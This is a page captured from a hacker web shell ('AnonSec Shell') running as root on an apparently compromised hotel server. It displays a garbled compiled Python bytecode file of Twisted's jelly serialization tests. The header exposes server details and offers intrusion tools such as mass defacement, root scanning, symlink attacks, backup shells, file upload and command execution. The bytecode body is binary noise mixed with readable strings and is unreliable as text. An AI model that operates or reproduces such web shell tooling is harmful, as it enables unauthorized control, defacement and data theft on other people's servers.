AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/spread/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/spread/test/__pycache__/test_jelly.cpython-310.pyc
o

�boJ�@s"dZddlZddlZddlmZmZmZddlmZddl	m
Z
ddlmZGdd�dej
�ZGd	d
�d
�Zdd�ZGd
d�d�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�d�Zdd�ZGdd�de�ZGdd�de�ZGdd�dejej�ZGdd �d ejej�ZGd!d"�d"e�ZdS)#z/
Test cases for L{jelly} object serialization.
�N)�banana�jelly�pb)�StringTransport)�unittest)�TestCasec@seZdZdZdZddd�ZdS)�TestNodezD
    An object to test jellyfying of new style class instances.
    �NcCs4|r|jd|_|j�|�nd|_||_g|_dS)N�)�id�children�append�parent)�selfr�r�@/usr/lib/python3/dist-packages/twisted/spread/test/test_jelly.py�__init__s
zTestNode.__init__�N)�__name__�
__module__�__qualname__�__doc__�	classAttrrrrrrrsrc@�eZdZdZdd�ZdS)�A�
    Dummy class.
    cC�dS�z;
        Method to be used in serialization tests.
        Nr�rrrr�amethod(�z	A.amethodN)rrrrrrrrrr#�rcCr)z:
    A dummy function to test function serialization.
    Nrrrrr�afunc.r r"c@r)�BrcCrrrrrrr�bmethod9r z	B.bmethodN)rrrrr$rrrrr#4r!r#c@r)�CrcCrrrrrrr�cmethodDr z	C.cmethodN)rrrrr&rrrrr%?r!r%c@seZdZdZdS)�Dz 
    Dummy new-style class.
    N)rrrrrrrrr'Jsr'c@s.eZdZdZdZd
dd�Zdd�Zdd	�ZdS)�Ez+
    Dummy new-style class with slots.
    ��x�yNcC�||_||_dSrr)�rr*r+rrrrW�
z
E.__init__cCs|j|jd�S)Nr)r)rrrr�__getstate__[�zE.__getstate__cCs|d|_|d|_dS)Nr*r+r)�r�staterrr�__setstate__^s
zE.__setstate__)NN)rrrr�	__slots__rr/r3rrrrr(Ps
r(c@seZdZdd�Zdd�ZdS)�SimpleJellyTestcCr,rr)r-rrrrdr.zSimpleJellyTest.__init__cCs|j|jkSr)�__dict__�r�otherrrr�isTheSameAshszSimpleJellyTest.isTheSameAsN)rrrrr9rrrrr5csr5cCs8t�|�}t�|�}t�|�}t�|�}|�||�dS)zt
    Verify that the given object round-trips through jelly & banana and comes
    out equivalent to the input.
    N)rr�encode�decode�unjelly�assertEqual)�testCase�toSerialize�jellied�encoded�decoded�	unjelliedrrr�jellyRoundTripls




rDc@seZdZdZdgd�gd�gd�gd�gZdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Zd=d>�Z d?d@�Z!dAdB�Z"dCS)D�
JellyTestsz�
    Testcases for L{jelly} module serialization.

    @cvar decimalData: serialized version of decimal data, to be used in tests.
    @type decimalData: L{list}
    slist)�decimali����)rFrr)rF�@�r)rFi������cCsJt�|�}t��}|��t�||�|j�|�|�tjtj||�dS)z�
        Helper test method to test security options for a type.

        @param inputList: a sample input for the type.
        @type inputList: L{list}

        @param atom: atom identifier for the type.
        @type atom: L{str}
        N)r�SecurityOptions�allowBasicTypesr<�allowedTypes�pop�assertRaises�
InsecureJelly)r�	inputList�atom�c�tasterrrr�
_testSecurity�s

zJellyTests._testSecuritycCsVt�}t�}t�}|j|_||_tj}t`z|�ttj	t�|��W|t_dS|t_w)z�
        If a class change after an instance has been created, L{jelly.unjelly}
        shoud raise a C{TypeError} when trying to unjelly the instance.
        N)
rr#r%r&r$�arN�	TypeErrorrr<)rrU�brR�savecmethodrrr�test_methodsNotSelfIdentity�sz&JellyTests.test_methodsNotSelfIdentitycCs`t�}d|_t�}||_||_t�|�}t�|�}|�|t�|�|j|j�|�|jd�dS)z�
        Test that a new style class can be jellied and unjellied with its
        objects and attribute values preserved.
        r
N)	r'r*�n2�n3rr<�assertIsInstance�assertIsr=)r�nrZrR�mrrr�
test_newStyle�s

zJellyTests.test_newStylecCs>t�}d|_t�|�}t�|�}|�|t�|�|jd�dS)z�
        A class defined with I{slots} can be jellied and unjellied with the
        values for its attributes preserved.
        r
N)r(r*rr<r\r=)rr^rRr_rrr�test_newStyleWithSlots�s

z!JellyTests.test_newStyleWithSlotscC�&tg}t�t�|��}|�||�dS)zm
        Test that a new style class type can be jellied and unjellied
        to the original type.
        N)r'rr<r=�r�t�rrrr�test_typeNewStyle��zJellyTests.test_typeNewStylecCrb)ze
        Test that a builtin type can be jellied and unjellied to the original
        type.
        N)�strrr<r=rcrrr�test_typeBuiltin�rgzJellyTests.test_typeBuiltincCsPtj��}tj��|}||g}t�|�}t�|�}|�||�|�||�dS)z�
        Jellying L{datetime.timedelta} instances and then unjellying the result
        should produce objects which represent the values of the original
        inputs.
        N)�datetime�nowrr<r=�assertIsNot)r�dtn�dtdrPrR�outputrrr�
test_dateTime�s


zJellyTests.test_dateTimecCsjt�ddd�}t�dddd�}tj�||�}|t�ddd�}t||�t||�t||�t||�d	S)
z�
        Jellying L{datetime.time}, L{datetime.timedelta}, L{datetime.datetime},
        and L{datetime.date} objects should result in jellied objects which can
        be serialized and unserialized with banana.
        i���r
��iX�N)rj�date�time�combinerD)r�
sampleDate�
sampleTime�sampleDateTime�sampleTimeDeltarrr�test_bananaTimeTypes�s


zJellyTests.test_bananaTimeTypescCsTt�d�t�d�t�d�t�d�g}t�|�}t�|�}|�||�|�||�dS)z�
        Jellying L{decimal.Decimal} instances and then unjellying the result
        should produce objects which represent the values of the original
        inputs.
        �9.95rrH�-78.901N)�decimal�Decimalrr<r=rl)rrPrRrorrr�test_decimal�s�

zJellyTests.test_decimalcCs@t�d�t�d�t�d�t�d�g}t�|j�}|�||�dS)a
        Unjellying the s-expressions produced by jelly for L{decimal.Decimal}
        instances should result in L{decimal.Decimal} instances with the values
        represented by the s-expressions.

        This test also verifies that L{decimalData} contains valid jellied
        data.  This is important since L{test_decimalMissing} re-uses
        L{decimalData} and is expected to be unable to produce
        L{decimal.Decimal} instances even though the s-expression correctly
        represents a list of them.
        r~rrHrN)r�r�rr<�decimalDatar=)r�expectedrorrr�test_decimalUnjellys
�zJellyTests.test_decimalUnjellycCst�d�g}|�|d�dS)z�
        By default, C{decimal} objects should be allowed by
        L{jelly.SecurityOptions}. If not allowed, L{jelly.unjelly} should raise
        L{jelly.InsecureJelly} when trying to unjelly it.
        r~rFN)r�r�rT�rrPrrr�test_decimalSecurityszJellyTests.test_decimalSecuritycCs6hd�g}t�t�|��}|�||�|�||�dS)z�
        Jellying C{set} instances and then unjellying the result
        should produce objects which represent the values of the original
        inputs.
        �r
�ruN)rr<r=rl�rrProrrr�test_set&s
zJellyTests.test_setcCs:tgd��g}t�t�|��}|�||�|�||�dS)z�
        Jellying L{frozenset} instances and then unjellying the result
        should produce objects which represent the values of the original
        inputs.
        �r
r�ruN)�	frozensetrr<r=rlr�rrr�test_frozenset1szJellyTests.test_frozensetcCshd�g}|�|d�dS)z�
        By default, C{set} objects should be allowed by
        L{jelly.SecurityOptions}. If not allowed, L{jelly.unjelly} should raise
        L{jelly.InsecureJelly} when trying to unjelly it.
        r�ssetN)rTr�rrr�test_setSecurity<s
zJellyTests.test_setSecuritycCstgd��g}|�|d�dS)z�
        By default, L{frozenset} objects should be allowed by
        L{jelly.SecurityOptions}. If not allowed, L{jelly.unjelly} should raise
        L{jelly.InsecureJelly} when trying to unjelly it.
        r�s	frozensetN)r�rTr�rrr�test_frozensetSecurityEsz!JellyTests.test_frozensetSecuritycCsN|�tdd��tdd���tdd�}t�|�}t�|�}|�|�|��dS)z%
        Simplest test case.
        rUrWr
r�N)�
assertTruer5r9rr<)rrU�cerealrWrrr�test_simpleNs�


zJellyTests.test_simplecCs�g}|}|�|�|�|�|�|d|d�|�|dd|�t�|�}t�|�}|�|d|d�|�|dd|�dS)zJ
        Test to make sure that objects retain identity properly.
        rr
N)r
r]rr<)rr*r+�s�zrrr�
test_identityZs



zJellyTests.test_identitycCs8d}t�t�|��}|�||�|�t|�t|��dS)N�blah)rr<r=�typer-rrr�test_striszJellyTests.test_strcCsbg}d|i|f}|�|�t�|�}t�|�}|�|dd|d�|�|ddd|�dS)N�listrr
�r
rr<r])r�reref�
toplevelTupler�r�rrr�test_stressReferencesos


z JellyTests.test_stressReferencescCsFg}|f}|�|f�t�|�}t�|�}|�|ddd|�dS�Nrr�)rrUrdr�r�rrr�test_moreReferencesxs

zJellyTests.test_moreReferencescCs*t��}t�i�}|�tjtj||�dS)z@
        Test for type-level security of serialization.
        N)rrJrNrOr<)rrS�dctrrr�test_typeSecurity�s
zJellyTests.test_typeSecuritycCst�t�}|�t|�dSr)rr<r'r])r�ujrrr�test_newStyleClasses�s
zJellyTests.test_newStyleClassescCs~t�}t�t�|��t�t�|j��tgd�td�td�ddddttdditjg}|D]}|�|t�t�|���q.dS)zA
        Test for all types currently supported in jelly
        r�r
�testg�����L4@NrU)rrr<rr"�boolrr=)rrU�items�irrr�test_lotsaTypes�s&��zJellyTests.test_lotsaTypescCsxGdd�d�at�}t|�}t|�}t||f�}||||||d|i}t�t�|��d}|�|jdj|jdj�dS)Nc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
TupleStatecS�
||_dSr�r8r7rrrr��
zTupleState.__init__cSs|jfSrr�rrrrr/�szTupleState.__getstate__cSs|d|_dSr�r�r1rrrr3�r0zTupleState.__setstate__cSs
t|j�Sr)�hashr8rrrr�__hash__�r�zTupleState.__hash__N)rrrrr/r3r�rrrrr��s
r��t3rr
)r�rrr<r]r8)rrU�t1�t2r��d�t3primerrr�
test_setState�s
 zJellyTests.test_setStatecCs�t��}|�tt�t�}t�}t�}||_||_||_||_t�||�}t�	||�}|�
|jtj�t�|�}|�tj
tj	||�|�|j|jd�t�t|�}t�	||�}|�|td|�dS)zA
        Test for class-level security of serialization.
        zIdentity mismatchzA came back: %sN)rrJ�allowInstancesOfrr#r%rWrRr*r<r\�
UnpersistablerNrOr])rrSrUrWrR�friendlyr*�meanrrr�test_classSecurity�s$
zJellyTests.test_classSecuritycCs\Gdd�dtj�}t�|tj�|�}d|_t�t�|��}|�|jd�|�|tj�dS)zr
        Test that if Unjellyable is used to deserialize a jellied object,
        state comes out right.
        c@�eZdZdS)z7JellyTests.test_unjellyable.<locals>.JellyableTestClassN�rrrrrrr�JellyableTestClass��r��valueN)r�	Jellyable�setUnjellyableForClass�Unjellyable�	attributer<r=r\)rr��inputrorrr�test_unjellyable�szJellyTests.test_unjellyablec	Cs�idg}|fdd�}|fdd�}tdd�}tdd�}td	d
�}||_||_||_tj||d�}tj||d�}|�|j|jj�|�|d
d�|�|j|jd�dS)Nr
cSs,|dd|d<||d|d<t|d�S)Nr
r)rh)�obj�jel�perstrrr�persistentStore�sz:JellyTests.test_persistentStorage.<locals>.persistentStorecSst|�}|d|Sr�)�int)�pidstr�unjr��pidrrr�persistentLoad�sz9JellyTests.test_persistentStorage.<locals>.persistentLoadr�rur	rt�)r�)r�rzpersistentStore was not called.z$Persistent storage identity failure.)r5rWrRrr<r]r�)	rr�r�r�rUrWrRr�r*rrr�test_persistentStorage�s


z!JellyTests.test_persistentStoragecCsBt�}t|�}t|�t|�t�|�}t�|�}|�||�dSr)rrr<�_check_newstyle)rr^�n1r�r_rrr�test_newStyleClassesAttributess

z)JellyTests.test_newStyleClassesAttributescCsl|�|j|j�|�|jd�|�|jd�|�t|j�t|j��t|j|j�D]
\}}|�||�q)dS)Nr	)r=rr�lenr�zipr�)rrUrWr*r+rrrr�s�zJellyTests._check_newstylecCs`t��}t��}|�t��tj||d�}t��}|�t��tj||d�}|�|j|j	�dS)a
        A L{pb.Referenceable} instance jellies to a structure which unjellies to
        a L{pb.RemoteReference}.  The C{RemoteReference} has a I{luid} that
        matches up with the local object key in the L{pb.Broker} which sent the
        L{Referenceable}.
        ��invokerN)
r�
Referenceable�Broker�makeConnectionrrr<�assertIn�luid�localObjects)r�ref�jellyBroker�j�
unjellyBrokerr�rrr�test_referenceableszJellyTests.test_referenceableN)#rrrrr�rTrYr`rarfrirpr}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrExsL�						rEc@s eZdZdZdd�Zdd�ZdS)�JellyDeprecationTestsz+
    Tests for deprecated Jelly things
    cCsPtj|�|jg�}|�t|�d�|�|ddd�|�|ddt�dS)zD
        L{jelly.instance_atom} is deprecated since 15.0.0.
        r
r�messagezltwisted.spread.jelly.instance_atom was deprecated in Twisted 15.0.0: instance_atom is unused within Twisted.�categoryN)r�
instance_atom�
flushWarnings�test_deprecatedInstanceAtomr=r��DeprecationWarning�r�warningsrrrr�.s
�z1JellyDeprecationTests.test_deprecatedInstanceAtomcCsZt�dddgdgg�|��}|�t|�d�|�|ddd�|�|dd	t�d
S)zI
        Unjellying the instance atom is deprecated with 15.0.0.
        �instance�classz twisted.spread.test.test_jelly.A�
dictionaryr
rr�ztUnjelly support for the instance atom is deprecated since Twisted 15.0.0.  Upgrade peer for modern instance support.r�N)rr<r�r=r�r�r�rrr�%test_deprecatedUnjellyingInstanceAtom<s�
�z;JellyDeprecationTests.test_deprecatedUnjellyingInstanceAtomN)rrrrr�r�rrrrr�)sr�c@�eZdZdd�ZdS)�ClassAcCst|�|_dSr)�ClassBr�rrrrrNr0zClassA.__init__N�rrrrrrrrr�M�r�c@r�)r�cCr�r)r�)rr�rrrrSr�zClassB.__init__Nr�rrrrr�Rr�r�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�CircularReferenceTestszN
    Tests for circular references handling in the jelly/unjelly process.
    cCs@t�tt�t�tt�t�t�t���}|�|jj|d�dS)N�,Identity not preserved in circular reference)rr�r�r�r<r]r�)rrUrrr�test_simpleCircle\sz(CircularReferenceTests.test_simpleCirclecCsfGdd�d�}|�}d|_t�}t�tt�t�tt�tj||d�}t�|�}|�|jj|d�dS)Nc@r�)zHCircularReferenceTests.test_circleWithInvoker.<locals>.DummyInvokerClassNr�rrrr�DummyInvokerClasscr�r�r�r�)�serializingPerspectiver�rr�r�r<�failUnlessIdenticalr�)rr��dummyInvoker�a0r��a1rrr�test_circleWithInvokerbs

�z-CircularReferenceTests.test_circleWithInvokercCsPt�}t|d�}|�|�t�t�|��}|�|jt�|�t|j�|g�dS)z�
        Check that a C{set} can contain a circular reference and be serialized
        and unserialized without losing the reference.
        N)	�setr5�addrr<r\r*r=r�)rr�rU�resrrrr�qs

zCircularReferenceTests.test_setcCsPtdd�}t|g�}||_t�t�|��}|�|jt�|�t|j�|g�dS)z�
        Check that a L{frozenset} can contain a circular reference and be
        serialized and unserialized without losing the reference.
        N)r5r�r*rr<r\r=r�)rrUr�rrrrr�}s

z%CircularReferenceTests.test_frozensetN)rrrrr�r�r�r�rrrrr�Wsr�)rrjr��twisted.spreadrrr�twisted.test.proto_helpersr�
twisted.trialr�twisted.trial.unittestrr�rrr"r#r%r'r(r5rDrEr��Copyable�
RemoteCopyr�r�r�rrrr�<module>s0	4$

Anon7 - 2022
AnonSec Team